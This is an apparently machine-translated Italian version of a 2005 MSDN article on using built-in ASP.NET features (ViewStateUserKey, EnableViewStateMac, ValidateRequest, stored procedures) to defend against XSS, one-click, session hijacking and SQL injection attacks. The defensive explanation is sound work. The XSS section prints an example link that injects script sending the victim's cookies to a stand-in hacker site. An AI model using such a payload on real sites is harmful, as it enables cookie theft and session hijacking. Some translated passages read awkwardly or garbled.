Condividi tramite


Take Advantage of ASP.NET Built-in Features to Fend Off Web Attacks (Sfruttare le funzionalità predefinite di ASP.NET per respingere gli attacchi Web)

 

Dino Esposito
Wintellect

Gennaio 2005

Si applica a
   Microsoft ASP.NET 1. X
   Microsoft ASP.NET 2.0

Riepilogo: Dino riepiloga i tipi più comuni di attacchi Web e descrive in che modo gli sviluppatori Web possono usare funzionalità predefinite di ASP.NET per aumentare la sicurezza. (13 pagine stampate)

Contenuto

Cosa ASP.NET gli sviluppatori devono sempre fare da dove provengono le minacce
ViewStateUserKey
Cookie e autenticazione
Hijacking sessione
Enableviewstatemac
Validaterequest
Prospettiva del database
Campi nascosti
Posta elettronica e posta indesiderata
Riepilogo
Risorse correlate

Cosa devono sempre fare gli sviluppatori ASP.NET

Se si legge questo articolo, è probabile che non sia necessario avere una lezione sull'importanza crescente della sicurezza nelle applicazioni Web. È probabile che si stia cercando un consiglio pratico su come implementare la sicurezza nelle applicazioni ASP.NET. La cattiva notizia è che nessuna piattaforma di sviluppo, inclusa ASP.NET, può garantire che si scriverà codice sicuro al 100% dopo l'adozione, chi lo dice semplicemente bugie. La buona notizia, per quanto riguarda ASP.NET, è che ASP.NET, in particolare la versione 1.1 e la versione 2.0, integra una serie di barriere difensive predefinite, pronte per l'uso.

L'applicazione di tutte queste funzionalità da sola non è sufficiente per proteggere un'applicazione Web da tutti gli attacchi possibili e prevedibili. Tuttavia, insieme ad altre tecniche difensive e strategie di sicurezza, le funzionalità di ASP.NET predefinite costituiscono un potente toolkit per garantire che le applicazioni funzionino in un ambiente sicuro.

La sicurezza Web è la somma di vari fattori e il risultato di una strategia che va ben oltre i limiti della singola applicazione per coinvolgere l'amministrazione del database, la configurazione di rete e anche l'ingegneria sociale e il phishing.

L'obiettivo di questo articolo è illustrare cosa ASP.NET gli sviluppatori devono sempre fare per mantenere la barra di sicurezza ragionevolmente elevata. Questo è ciò che la sicurezza è principalmente di - tenere la guardia in alto, mai sentirsi completamente sicuro, e rendere più difficile e difficile per i cattivi di hackerare.

Vediamo cosa ASP.NET offrire per semplificare il processo.

Da dove provengono le minacce

Nella tabella 1 sono stati riepilogati i tipi più comuni di attacchi Web e difetti nell'applicazione che possono renderli riusciti.

Attacco Reso possibile da . . .
Scripting tra siti (XSS) Input utente non attendibile restituito alla pagina
SQL injection Concatenazione dell'input dell'utente per formare comandi SQL
Hijack della sessione ID sessione che indovina e rubato i cookie dell'ID sessione
Un clic Post HTTP non consapevoli inviati tramite script
Manomissione di campi nascosti Campo nascosto deselezionato (e attendibile) inserito in dati sensibili

Tabella 1. Attacchi Web comuni

Quali sono i fatti chiave che emergono dalla lista? Almeno i tre seguenti, direi:

  • Ogni volta che si inserisce qualsiasi tipo di input dell'utente nel markup del browser, è possibile esporre se stessi a un attacco di inserimento del codice (qualsiasi variazione dell'inserimento DI SQL e XSS).
  • L'accesso al database deve essere eseguito in modo sicuro, ovvero usando il set minimo di autorizzazioni mai possibile per gli account e delimitando la responsabilità del singolo utente tramite i ruoli.
  • I dati sensibili non devono mai essere inviati attraverso la rete (come testo non crittografato) e devono essere archiviati in modo sicuro nel server.

È interessante notare che i tre punti precedenti affrontano tre aspetti distinti della sicurezza Web, la combinazione di cui è l'unico modo ragionevole per creare un'applicazione antiproiettile e resistente alle manomissioni. I facet della sicurezza Web possono essere riepilogati nel modo seguente:

  • Procedure di codifica: convalida dei dati, controllo della lunghezza del buffer e controllo della lunghezza del buffer, misure antimanomissione
  • Strategie di accesso ai dati: usare i ruoli per garantire l'account più debole possibile, usare stored procedure o almeno comandi con parametri
  • Archiviazione e amministrazione efficaci: non inviare dati critici al client, usare i codici hash per rilevare la manipolazione, autenticare gli utenti e proteggere le identità, applicare criteri rigorosi per le password

Come si può notare, un'applicazione sicura può risultare solo dagli sforzi combinati di sviluppatori, architetti e amministratori. Non presupporre che tu possa farlo bene in caso contrario.

Quando scrivi ASP.NET applicazioni che non sei lasciato da solo per combattere contro l'esercito di hacker, armati solo con il tuo cervello, abilità e dita per digitare righe di codice. ASP.NET 1.1 e versioni successive consente di usare alcune funzionalità specifiche che generano barriere automatiche contro alcune delle minacce elencate in precedenza. Esaminiamoli in dettaglio.

ViewStateUserKey

Introdotto con ASP.NET 1.1, ViewStateUserKey è una proprietà stringa nella classe Page che solo pochi sviluppatori ammettono di avere familiarità con. Perché? Di seguito viene illustrato il contenuto della documentazione.

Assegna un identificatore a un singolo utente nella variabile dello stato di visualizzazione associata alla pagina corrente

Nonostante lo stile convoluzionato, la frase è abbastanza chiara; ma si può onestamente dire che spiega lo scopo previsto della proprietà? Per comprendere il ruolo di ViewStateUserKey, è necessario leggere un po' di più, fino a quando non si arriva alla sezione Osservazioni .

La proprietà consente di evitare attacchi con un clic fornendo input aggiuntivo per creare il valore hash che difende lo stato di visualizzazione contro la manomissione. In altre parole, ViewStateUserKey rende molto più difficile per gli hacker usare il contenuto dello stato di visualizzazione lato client per preparare post dannosi sul sito. La proprietà può essere assegnata a qualsiasi stringa non vuota, preferibilmente l'ID sessione o l'ID dell'utente. Per comprendere meglio l'importanza di questa proprietà, esaminiamo brevemente le nozioni di base dell'attacco con un clic .

Un attacco con un clic consiste nel pubblicare un modulo HTTP dannoso in un sito Web noto e vulnerabile. Si chiama "un clic" perché di solito inizia con una vittima inconsapevoli facendo clic su un collegamento allurante ricevuto tramite posta elettronica o trovato quando si naviga in un forum affollato. Seguendo il collegamento, l'utente attiva inavvertitamente un processo remoto che finisce per inviare il modulo> dannoso <a un sito. Essere onesti: puoi dire che non hai mai seguito un link come Clicca qui per vincere $1.000.000 solo per vedere cosa succede? A quanto pare, non è successo niente di male a te. Si supponga che questo sia corretto; si può dire lo stesso per tutto il resto della community Web? Chissà.

Per avere esito positivo, un attacco con un clic richiede determinate condizioni in background:

  • L'utente malintenzionato deve conoscere molto sul sito vulnerabile. Ciò può verificarsi perché l'autore dell'attacco "diligentemente" ha studiato il file o perché è un interno arrabbiato (ad esempio, un dipendente licenziato e disonesto). Per questo motivo, l'attacco potrebbe essere potenzialmente devastante.
  • Il sito deve usare i cookie (meglio se i cookie persistenti) per implementare l'accesso Single Sign-On e l'utente malintenzionato deve aver ricevuto un cookie di autenticazione valido.
  • Alcuni utenti del sito sono coinvolti in transazioni sensibili.
  • L'utente malintenzionato deve avere accesso alla pagina di destinazione.

Come accennato, l'attacco consiste nell'inviare un modulo HTTP dannoso a una pagina che prevede un modulo. Ragionevolmente, questa pagina utilizza i dati pubblicati per eseguire alcune operazioni sensibili. Ragionevolmente, l'autore dell'attacco sa esattamente come verrà usato ogni campo e può ottenere alcuni valori spoofati per raggiungere il suo obiettivo. Di solito è un attacco mirato, ed è anche difficile tracciare a causa del commercio triangolare che stabilisce, l'hacker induce una vittima a fare clic su un collegamento sul sito dell'hacker, che a sua volta pubblicherà il codice cattivo in un terzo sito. Vedere la figura 1.

ms972969.securitybarriers01(en-us,MSDN.10).gif

Figura 1. L'attacco con un clic

Perché una vittima insospettabile? Poiché, in questo modo i log del server mostrano che l'indirizzo IP in cui ha avuto origine la richiesta non valida è l'indirizzo IP della vittima. Come accennato, questo attacco non è così comune (e facile da organizzare) come un XSS "classico" ; tuttavia, la sua natura lo rende potenzialmente devastante. Qual è la cura per esso? Esaminiamo i meccanismi dell'attacco nel contesto ASP.NET.

A meno che l'azione non venga codificata nell'evento Page_Load , non è possibile che una pagina ASP.NET possa eseguire codice sensibile all'esterno di un evento di postback. Affinché venga eseguito un evento di postback, il campo dello stato di visualizzazione è obbligatorio. Tenere presente che ASP.NET controlla lo stato di postback di una richiesta e imposta IsPostBack di conseguenza, in base alla presenza del campo di input _VIEWSTATE. Pertanto, chiunque voglia inviare una richiesta fittizia a una pagina ASP.NET deve necessariamente fornire un campo di stato di visualizzazione valido.

Perché l'attacco con un clic funzioni, l'hacker deve avere accesso alla pagina. Quando questo è successo, l'hacker lontano ha salvato la pagina in locale. Ora può accedere al campo _VIEWSTATE e usarlo per creare una richiesta con lo stato di visualizzazione precedente e i valori dannosi in altri campi. La domanda è che funzionerà?

Perché no? Se l'utente malintenzionato può fornire un cookie di autenticazione valido, l'hacker entra e la richiesta viene elaborata regolarmente. Il contenuto dello stato di visualizzazione non viene controllato affatto nel server (quando EnableViewStataMac è disattivato) o viene controllato solo contro la manomissione. Per impostazione predefinita, non esiste nulla nello stato di visualizzazione che collega il contenuto a un determinato utente. L'utente malintenzionato può riutilizzare facilmente lo stato di visualizzazione ottenuto rendendo l'accesso legale alla pagina per creare una richiesta fittizia per conto di un altro utente. Ecco dove si inserisce ViewStateUserKey .

Se scelto in modo accurato, la proprietà aggiunge informazioni specifiche dell'utente allo stato di visualizzazione. Quando la richiesta viene elaborata, ASP.NET estrae la chiave dallo stato di visualizzazione e la confronta con ViewStateUserKey della pagina in esecuzione. Se le due corrispondenze, la richiesta viene considerata legittima; in caso contrario, viene generata un'eccezione. Qual è un valore valido per la proprietà?

L'impostazione di ViewStateUserKey su una stringa costante, la stessa per tutti gli utenti, è come lasciare vuoto. È necessario impostarlo su un elemento che varia per ogni utente, ovvero l'ID utente o, meglio ancora, l'ID sessione. Per diversi motivi tecnici e legati ai social network, l'ID sessione è molto più appropriato perché non è prevedibile, scade ed è diverso per ogni utente.

Ecco il codice che è necessario avere in tutte le pagine:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

Per evitare di scrivere nuovamente questo codice, è possibile eseguire il bolt nel metodo virtuale OnInit della classe derivata da Page. Si noti che è necessario impostare questa proprietà nell'evento Page.Init .

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

In generale, l'uso di una classe di pagina di base è sempre una buona cosa, come spiego nel mio articolo, Creare le tue pagine ASP.NET su un bedrock più ricco. Un articolo eccellente per altre informazioni sulle tattiche degli utenti malintenzionati con un clic è disponibile in aspnetpro.com.

Cookie e autenticazione

I cookie esistono perché possono aiutare gli sviluppatori a ottenere risultati. I cookie operano come un tipo di collegamento permanente tra browser e server. In particolare per le applicazioni che usano l'accesso Single Sign-On, un cookie rubato è solo ciò che rende possibile l'attacco. Questo è certamente il caso di attacchi con un clic.

Per usare i cookie, non è necessario crearli e leggerli in modo esplicito a livello di codice. I cookie vengono usati in modo implicito se si usa lo stato della sessione e se si implementa l'autenticazione basata su form. Certo, ASP.NET supporta lo stato della sessione senza cookie e ASP.NET 2.0 introduce anche l'autenticazione basata su form senza cookie. Quindi, in teoria, è possibile usare queste funzionalità senza usare i cookie. Non sto dicendo che non dovete, ma questo è solo uno dei casi in cui il rimedio può essere ancora peggio della malattia. Le sessioni senza cookie, infatti, incorporano l'ID sessione nell'URL rendendolo visibile a tutti.

Quali sono i potenziali problemi connessi all'uso dei cookie? I cookie possono essere rubati (ovvero copiati nella macchina dell'hacker) e avvelenati (ovvero, riempiti con dati dannosi). Queste azioni sono spesso il preludio a un attacco in ingresso. Se rubati, i cookie di autenticazione "autorizzano" gli utenti esterni a connettersi all'applicazione (e usano pagine protette) per conto dell'utente, consentendo potenzialmente agli hacker di ignorare l'autorizzazione e se stessi di eseguire qualsiasi ruolo e impostazioni di sicurezza consentono alla vittima di farlo. Per questo motivo, i cookie di autenticazione vengono normalmente assegnati a una durata relativamente breve, ovvero 30 minuti. Si noti che il cookie scade anche se il completamento della sessione del browser richiede più tempo. In caso di furto, gli hacker hanno una finestra di 30 minuti per tentare l'attacco.

Questa finestra può essere ingrandita per salvare gli utenti dalla necessità di accedere troppo spesso; tieni presente che lo fai a tuo rischio. In ogni caso, evitare di usare ASP.NET cookie persistenti. Questo renderebbe la durata del biscotto praticamente perenne, fino a 50 anni! Il frammento di codice seguente illustra come modificare la scadenza del cookie in tempo libero.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

È possibile usare questo codice nei moduli di accesso personalizzati per ottimizzare la durata dei cookie di autenticazione.

Hijacking sessione

I cookie vengono usati anche per recuperare lo stato della sessione per un determinato utente. L'ID della sessione viene archiviato in un cookie che viaggia avanti e indietro con la richiesta e viene archiviato nel computer del browser. Anche in questo caso, se rubato il cookie di sessione può essere usato per ottenere un hacker nel sistema e accedere allo stato della sessione di qualcun altro. Inutile dire che ciò può verificarsi fino a quando la sessione specificata è attiva, in genere non più di 20 minuti. Un attacco condotto tramite uno stato di sessione spoofing è noto come hijack della sessione. Per altri dettagli sull'hijack della sessione, leggi Theft on the Web: Prevent Session Hijacking.For more details on session hijacking, read Theft On The Web: Prevent Session Hijacking.

Quanto può essere pericoloso questo attacco? Difficile da dire. Dipende dalle operazioni eseguite dal sito Web e, più importante, dal modo in cui vengono progettate le pagine. Si supponga, ad esempio, di essere stati in grado di ottenere il cookie di sessione di un altro utente e collegarlo a una richiesta a una pagina del sito. Si carica la pagina e si usa l'interfaccia utente normale. Non è possibile inserire codice nella pagina e niente nella pagina che è possibile modificare, ad eccezione del fatto che la pagina ora usa lo stato della sessione di un altro utente. Questo non è male per se, ma può portare gli hacker direttamente a un exploit di successo, purché le informazioni nella sessione siano sensibili e critiche. Guarda, l'hacker non può snoop nel contenuto dell'archivio di sessioni, ma ciò che viene archiviato in esso viene usato come se l'hacker lo immettesse legittimamente. Si supponga, ad esempio, un'applicazione di e-commerce in cui gli utenti aggiungono elementi a un carrello acquisti durante la navigazione nel sito.

  • Scenario 1. Il contenuto del carrello acquisti viene archiviato nello stato della sessione. Tuttavia, al momento del check-out, all'utente viene richiesto di confermare e immettere i dettagli di pagamento tramite una connessione SSL sicura. In questo caso, l'inserimento nello stato di sessione di un altro utente consente solo all'hacker di apprendere alcuni dettagli sulle preferenze di acquisto della vittima. In questo contesto, nessun danno è veramente causato dal dirottamento. Solo la riservatezza è a rischio.
  • Scenario 2. L'applicazione gestisce un profilo per ogni utente registrato e archivia il profilo nello stato della sessione. Ahimè, il profilo (come potrebbe essere il caso) include informazioni sulla carta di credito. Perché archiviare i dettagli del profilo utente nella sessione? Forse uno degli obiettivi dell'applicazione è quello di salvare gli utenti dalla digitazione della carta di credito e delle informazioni bancarie più e più volte. Quindi, al momento dell'estrazione, l'applicazione passa all'utente a una pagina con campi precompilati. Improvidently, uno di questi campi è il numero di carta di credito ottenuto dallo stato della sessione. Ora puoi indovinare la fine della storia?

La progettazione della pagina dell'applicazione è fondamentale per impedire attacchi di hijack della sessione. Due punti rimangono aperti, però. Il primo è, cosa si può fare per prevenire il furto di cookie? Il secondo è che cosa può ASP.NET fare per rilevare e bloccare il hijack?

Il cookie di sessione ASP.NET è estremamente semplice ed è limitato a contenere l'unica stringa ID sessione. Il runtime di ASP.NET estrae l'ID sessione dal cookie e lo controlla rispetto alle sessioni attive. Se l'ID è valido, ASP.NET si connette alla sessione corrispondente e continua. Questo comportamento semplifica notevolmente la vita per gli hacker che hanno rubato, o può indovinare, un ID di sessione valido.

Gli attacchi XSS e man-in-the-middle, nonché l'accesso bruto a un PC client, sono tutti modi per ottenere un cookie valido. Per evitare furti, è consigliabile implementare le procedure consigliate per la sicurezza per evitare che XSS e tutte le relative varianti abbiano esito positivo.

Per evitare di indovinare l'ID sessione, è consigliabile evitare semplicemente di sovrapporsi alle proprie competenze. L'ipotesi di un ID sessione indica che si conosce un modo per stimare una stringa ID di sessione valida. Dato che l'algoritmo usato da ASP.NET (15 numeri casuali mappati a caratteri abilitati per URL), la possibilità di indovinare un ID valido per caso si avvicina a zero. Non c'è motivo per cui posso pensare di sostituire il generatore di ID sessione predefinito con il proprio. In molti casi, è possibile semplificare la vita solo per gli utenti malintenzionati.

Cosa c'è di peggio del dirottamento della sessione è che una volta rubato un cookie o indovinato non c'è molto ASP.NET può fare per rilevare l'uso fraudolento del cookie. Anche in questo caso, il motivo è che ASP.NET limita se stesso a verificare la validità dell'ID e interroga il luogo di origine del cookie.

Il mio amico Wintellect Jeff Prosise ha scritto un articolo eccellente sul dirottamento della sessione per MSDN Magazine. Le sue conclusioni offrono poca comodità, praticamente impossibile costruire una difesa infallibile contro gli attacchi che si basano su cookie ID sessione rubati, ma il codice sviluppato offre una mancia intelligente per aumentare la barra di sicurezza ancora più alta. Jeff ha creato un modulo HTTP che monitora le richieste in ingresso e le risposte in uscita per i cookie id sessione. Il modulo aggiunge un codice hash agli ID sessione in uscita che renderebbero più difficile per l'utente malintenzionato riutilizzare tale cookie. È possibile leggere i dettagli qui.

Enableviewstatemac

Lo stato di visualizzazione viene usato per rendere persistente lo stato dei controlli tra due richieste successive per la stessa pagina. Per impostazione predefinita, lo stato di visualizzazione è con codifica Base64 e firmato con un valore hash per evitare manomissioni. A meno che non si modifichino le impostazioni predefinite della pagina, lo stato di visualizzazione non è a rischio di manomissione. Se un utente malintenzionato modifica lo stato di visualizzazione o anche se ricompila lo stato di visualizzazione usando l'algoritmo corretto, ASP.NET intercetta il tentativo e genera un'eccezione. Uno stato di visualizzazione manomesso non è necessariamente dannoso, ma modifica lo stato dei controlli server, ma può diventare il veicolo di infezioni gravi. Per questo motivo, è di estrema importanza che non si rimuove il controllo incrociato del codice di autenticazione del computer (MAC) che avviene per impostazione predefinita. Vedere Figura 2.

ms972969.securitybarriers02(en-us,MSDN.10).gif

Figura 2. Ciò che rende lo stato di visualizzazione intrinsecamente resistente alle manomissioni quando EnableViewStateMac è abilitato

Quando il controllo MAC è abilitato (impostazione predefinita), lo stato di visualizzazione serializzato viene aggiunto un valore hash risultante da alcuni valori lato server e dalla chiave utente dello stato di visualizzazione, se presente. Quando viene eseguito il postback dello stato di visualizzazione, il valore hash viene calcolato nuovamente usando valori lato server aggiornati e confrontati con il valore archiviato. Se le due corrispondenze, la richiesta è consentita; in caso contrario, viene generata un'eccezione. Anche supponendo che l'hacker abbia le capacità di crackare e ricompilare lo stato di visualizzazione, deve conoscere i valori archiviati dal server per ottenere un hash valido. In particolare, l'hacker deve conoscere la chiave del computer a cui si fa riferimento nella < voce machineKey> di machine.config.

Per impostazione predefinita, la <voce machineKey> viene generata automaticamente e archiviata fisicamente in LSA ( Local Security Authority ) di Windows. Solo in caso di Web farm, quando le chiavi del computer dello stato di visualizzazione devono essere uguali in tutti i computer, è necessario specificarlo come testo non crittografato nel file di machine.config.

Il controllo MAC dello stato di visualizzazione viene controllato tramite un attributo di direttiva @Page denominato EnableViewStateMac. Come accennato, è impostato su true per impostazione predefinita. Mai disabilitarlo; renderebbe possibile la manomissione dello stato di visualizzazione attacchi con un clic e con grandi probabilità di successo.

Validaterequest

Lo scripting cross-site (XSS) è una vecchia conoscenza per molti sviluppatori Web conditi, è intorno dal 1999 o così via. In poche parole, XSS sfrutta i fori nel codice per introdurre il codice eseguibile di un hacker nella sessione del browser di un altro utente. Eseguito, il codice inserito può eseguire una serie di azioni: afferrare i cookie e caricare una copia nel sito Web controllato di un hacker, monitorare la sessione Web dell'utente e inoltrare i dati, modificare il comportamento e l'aspetto della pagina compromessa fornendo informazioni errate, anche renderla persistente, in modo che la successiva volta che l'utente torna alla pagina, il codice fraudolento viene eseguito di nuovo. Per altre informazioni sulle nozioni di base di un attacco XSS, vedere l'articolo Panoramica dello scripting tra siti di TechNet.

Quali scappatoie nel codice rendono possibili gli attacchi XSS?

XSS sfrutta le applicazioni Web che generano dinamicamente pagine HTML e non convalidano l'input restituito alla pagina. L'input qui indica il contenuto di stringhe di query, cookie e campi modulo. Se questo contenuto va online senza controlli di integrità appropriati, c'è il rischio che gli hacker possano manipolarlo per eseguire script dannosi nei browser client. (Dopo tutto, l'attacco con un clic sopra riportato è una recente variante di XSS). Un tipico attacco XSS comporta che l'utente non sospetta segua un collegamento luring che incorpora codice script preceduto da escape. Il codice fraudolento viene inviato a una pagina vulnerabile che la restituisce in modo attendibile. Ecco un esempio di ciò che può accadere:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

L'utente fa clic su un collegamento apparentemente sicuro e finisce per passare a una pagina vulnerabile un frammento di codice script che ottiene prima tutti i cookie nel computer dell'utente e quindi li invia a una pagina nel sito Web dell'hacker.

È importante notare che XSS non è un problema specifico del fornitore e non sfrutta necessariamente i fori in Internet Explorer. Influisce su ogni server Web e browser attualmente sul mercato. Ancora più importante, si noti che non esiste una singola patch per correggerla. È sicuramente possibile proteggere le pagine da XSS, applicando misure specifiche e procedure di codifica sane. Tenere inoltre presente che l'utente malintenzionato non deve fare clic su un collegamento per avviare l'attacco.

Per difendersi da XSS, è necessario determinare principalmente quale input è valido e rifiutare tutto il resto. Un elenco di controllo dettagliato per la riduzione degli attacchi XSS è disponibile nel libro che è una lettura necessaria in Microsoft - Scrittura di codice sicuro di Michael Howard e David LeBlanc. In particolare, vi suggerisco di dare un'attenta occhiata al capitolo 13.

Il modo principale per contrastare gli attacchi XSS insidioso consiste nell'aggiungere un livello di convalida efficace e solido all'input, ovvero qualsiasi tipo di dati di input. Ad esempio, ci sono circostanze in cui anche un colore altrimenti innocuo, ovvero un tripletto RGB, può portare uno script non controllato direttamente alla pagina.

In ASP.NET 1.1, se attivato, l'attributo ValidateRequest nella direttiva @Page verifica che gli utenti non inviino markup HTML potenzialmente pericolosi in stringhe di query, cookie o campi modulo. Se viene rilevato, viene generata un'eccezione e la richiesta viene interrotta. L'attributo è attivato per impostazione predefinita; non è necessario fare nulla per essere protetti. Se si vuole consentire il passaggio del markup HTML, è necessario disabilitarlo attivamente.

<%@ Page ValidateRequest="false" %>

ValidateRequestnon è il punto elenco silver e non può sostituire un livello di convalida efficace. Leggere qui per ottenere molte informazioni preziose su come funziona davvero la funzionalità sotto il cofano. Fondamentalmente applica un'espressione regolare per intercettare alcune sequenze potenzialmente dannose.

Nota La funzionalità ValidateRequest è stata originariamente difettosa; è necessario applicare una patch per funzionare come previsto. Si tratta di informazioni preziose che spesso sono passate inosservate. Stranamente, ho trovato una delle mie macchine ancora colpite dal difetto. istanze.

Non c'è motivo di non mantenere ValidateRequest su . È possibile disabilitarlo, ma è necessario avere un motivo molto valido; uno dei quali potrebbe essere il requisito dell'utente di poter pubblicare codice HTML nel sito per ottenere opzioni di formattazione migliori. In questo caso, è consigliabile limitare il numero di tag HTML consentiti (<pre>, b>,<<i>, p>,<<br>, <hr>) e scrivere un'espressione regolare che garantisce che non sia consentito o accettato nient'altro.

Ecco alcuni altri suggerimenti che consentono di proteggere le applicazioni ASP.NET da XSS:

  • Usare HttpUtility.HtmlEncode per convertire simboli pericolosi nella relativa rappresentazione HTML.
  • Usare virgolette doppie anziché virgolette singole, perché la codifica HTML esegue solo le virgolette doppie.
  • Forzare una tabella codici per limitare il numero di caratteri che è possibile usare.

In sintesi, usare, ma non considerare completamente attendibile, l'attributo ValidateRequest e non essere troppo pigro. Dedicare del tempo per comprendere le minacce alla sicurezza, ad esempio XSS, e pianificare una strategia difensiva centrata su un unico punto chiave, considerare tutti gli input dell'utente malvagi.

Prospettiva del database

SQL injection è un altro tipo noto di attacco che sfrutta le applicazioni che usano input utente non filtrato per formare i comandi del database. Se l'applicazione usa correttamente gli elementi digitati dall'utente in un campo modulo per creare una stringa di comando SQL, espone l'utente al rischio che un utente malintenzionato possa semplicemente accedere alla pagina e immettere parametri fraudolenti per modificare la natura della query. Per altre informazioni sull'inserimento di SQL , vedere qui.

Esistono molti modi in cui è possibile contrastare un attacco SQL injection. Ecco le tecniche più comuni.

  • Assicurarsi che qualsiasi input dell'utente sia del tipo corretto e segua il modello previsto (cap, SSN, indirizzo di posta elettronica). Se si prevede un numero da una casella di testo, bloccare la richiesta se l'utente immette un elemento che non può essere convertito in un numero.
  • Usare query con parametri o, meglio ancora, stored procedure.
  • Usare SQL Server autorizzazioni per limitare le operazioni che ogni utente può eseguire nel database. Ad esempio, è possibile disabilitare xp_cmdshell o limitarlo agli amministratori.

Se si usa la stored procedure, si riduce significativamente la superficie di attacco. Con le stored procedure, infatti, non è necessario comporre dinamicamente stringhe SQL. Inoltre, tutti i parametri vengono convalidati in SQL Server rispetto ai tipi specificati. Anche se questo da solo non è una tecnica sicura al 100%, combinata con la convalida, ti renderà più sicuro.

È ancora più importante garantire che solo gli utenti autorizzati eseguano operazioni potenzialmente devastanti, ad esempio l'eliminazione di tabelle. Ciò richiede un'attenta progettazione del livello intermedio dell'applicazione. Una buona tecnica, e non solo a causa della sicurezza, è concentrarsi sui ruoli. È possibile raggruppare gli utenti nei ruoli e definire un account per ogni ruolo con il minor set di autorizzazioni.

Alcune settimane fa, il sito Web Wintellect è stato attaccato tramite una forma sofisticata di inserimento SQL. L'hacker ha tentato di creare e avviare uno script FTP per scaricare un eseguibile (dannoso?). È stata la nostra buona fortuna che l'attacco ha fallito. Oppure è stata piuttosto avanzata la convalida dell'input, l'uso di stored procedure e l'uso di autorizzazioni SQL Server che hanno impedito il funzionamento dell'attacco?

Per riepilogare, seguire queste linee guida per evitare inserimenti indesiderati di codice SQL:

  • Eseguire con privilegi minimi e non eseguire mai il codice come "sa".
  • Limitare l'accesso alle stored procedure predefinite.
  • Favorire le query con parametri SQL.
  • Non compilare istruzioni tramite concatenazione di stringhe e non eseguire l'eco degli errori del database.

Campi nascosti

In ASP classico, i campi nascosti sono l'unico modo per rendere persistenti i dati tra le richieste. Tutti i dati da recuperare nella richiesta successiva vengono compressi in un campo di input> nascosto< e troncato arrotondamento. Cosa accade se nel client qualcuno modifica i valori archiviati nel campo? L'ambiente lato server non è in grado di capirlo finché il testo è chiaro. La proprietà ASP.NET ViewState per le pagine e i singoli controlli svolge due scopi. Da un lato, ViewState è il mezzo per rendere persistente lo stato tra le richieste; d'altra parte, ViewState consente di archiviare valori personalizzati in un campo nascosto protetto e resistente alle manomissioni.

Come illustrato nella figura 2, lo stato di visualizzazione viene aggiunto un valore hash che viene controllato su ogni richiesta per rilevare la manomissione. Non c'è motivo di usare campi nascosti in ASP.NET tranne in alcuni casi. Lo stato di visualizzazione funziona allo stesso modo in modo molto più sicuro. Detto in anticipo che l'archiviazione di valori sensibili come i prezzi o i dettagli della carta di credito in un campo nascosto chiaro è come lasciare la porta aperta agli hacker, lo stato di visualizzazione renderebbe anche questa cattiva pratica meno pericolosa rispetto a prima a causa del suo meccanismo di protezione dei dati. Tuttavia, tenere presente che lo stato di visualizzazione impedisce la manomissione, ma non garantisce la riservatezza, a meno che non venga crittografata, quindi i dettagli della carta di credito archiviati nello stato di visualizzazione sono comunque a rischio.

Quando è accettabile usare campi nascosti in ASP.NET? Quando si creano controlli personalizzati che devono restituire i dati al server. Si supponga, ad esempio, di creare un nuovo controllo DataGrid che supporti il riordinamento delle colonne. È necessario passare di nuovo il nuovo ordine al server nei postback. Dove è possibile archiviare queste informazioni, se non in un campo nascosto?

Se il campo nascosto è un campo di lettura/scrittura, ovvero il client si aspetta di scrivervi, non c'è molto che è possibile eseguire questa operazione a prova di hacker. È possibile provare a eseguire l'hashing o la crittografia del testo, ma questo non vi darebbe alcuna ragionevole certezza di non essere violato. La migliore difesa qui consiste nel rendere il campo nascosto contenere informazioni inerti e innocue.

Ciò detto, vale la pena notare che ASP.NET espone una classe poco nota che può essere usata per codificare e hashare qualsiasi oggetto serializzato. La classe è LosFormatter ed è la stessa classe usata dall'implementazione di ViewState per creare il testo codificato arrotondato al client.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

Il frammento di codice precedente mostra come usare LosFormatter per creare contenuto simile allo stato di visualizzazione, codificato e con hash.

Posta elettronica e posta indesiderata

Per terminare questo articolo, fammi notare che almeno due degli attacchi più comuni, xsS classici e un clic, sono spesso condotti inducendo vittime insospettabili a fare clic su collegamenti alluring e spoofing. Molte volte troviamo tali collegamenti direttamente nella posta in arrivo, i filtri anti-spam nonostante. I volumi di indirizzi di posta elettronica possono essere acquistati per qualche dollaro. Una delle tecniche principali usate per creare tali elenchi è l'analisi delle pagine pubbliche nei siti Web che cercano e afferrano qualsiasi aspetto simile a un indirizzo di posta elettronica.

Se una pagina visualizza un indirizzo di posta elettronica, è probabile che prima o poi venga catturata dai robot Web. Davvero? Beh, dipende molto da come si visualizza l'indirizzo di posta elettronica. Se l'hai hardcoded, andrai perso. Se si ricorre a rappresentazioni alternative come dino-at-microsoft-dot-com, non è chiaro se si inganna davvero un robot Web; Sicuramente, ti irrita qualsiasi persona che legge la tua pagina che vuole stabilire un contatto legittimo.

In generale, è consigliabile individuare un modo per generare dinamicamente l'indirizzo di posta elettronica come collegamento mailto . Questo è esattamente ciò che fa un componente libero scritto da Marco Bellinaso. È possibile ottenerlo con codice sorgente completo dal sito Web DotNet2TheMax .

Riepilogo

Qualcuno dubita che il Web sia probabilmente il più ostile di tutti gli ambienti di runtime? Deriva dal fatto che tutti possono accedere a un sito Web e cercare di passarvi dati buoni e cattivi. Tuttavia, sarebbe davvero opportuno creare un'applicazione Web che non accetta l'input dell'utente?

Di conseguenza, è importante affrontare il problema: indipendentemente dalla forza del firewall e dalla frequenza con cui si applicano le patch disponibili, se si esegue un'applicazione Web intrinsecamente vulnerabile, gli utenti malintenzionati prima o versioni successive passeranno direttamente al cuore dei sistemi attraverso l'ingresso principale, ovvero la porta 80.

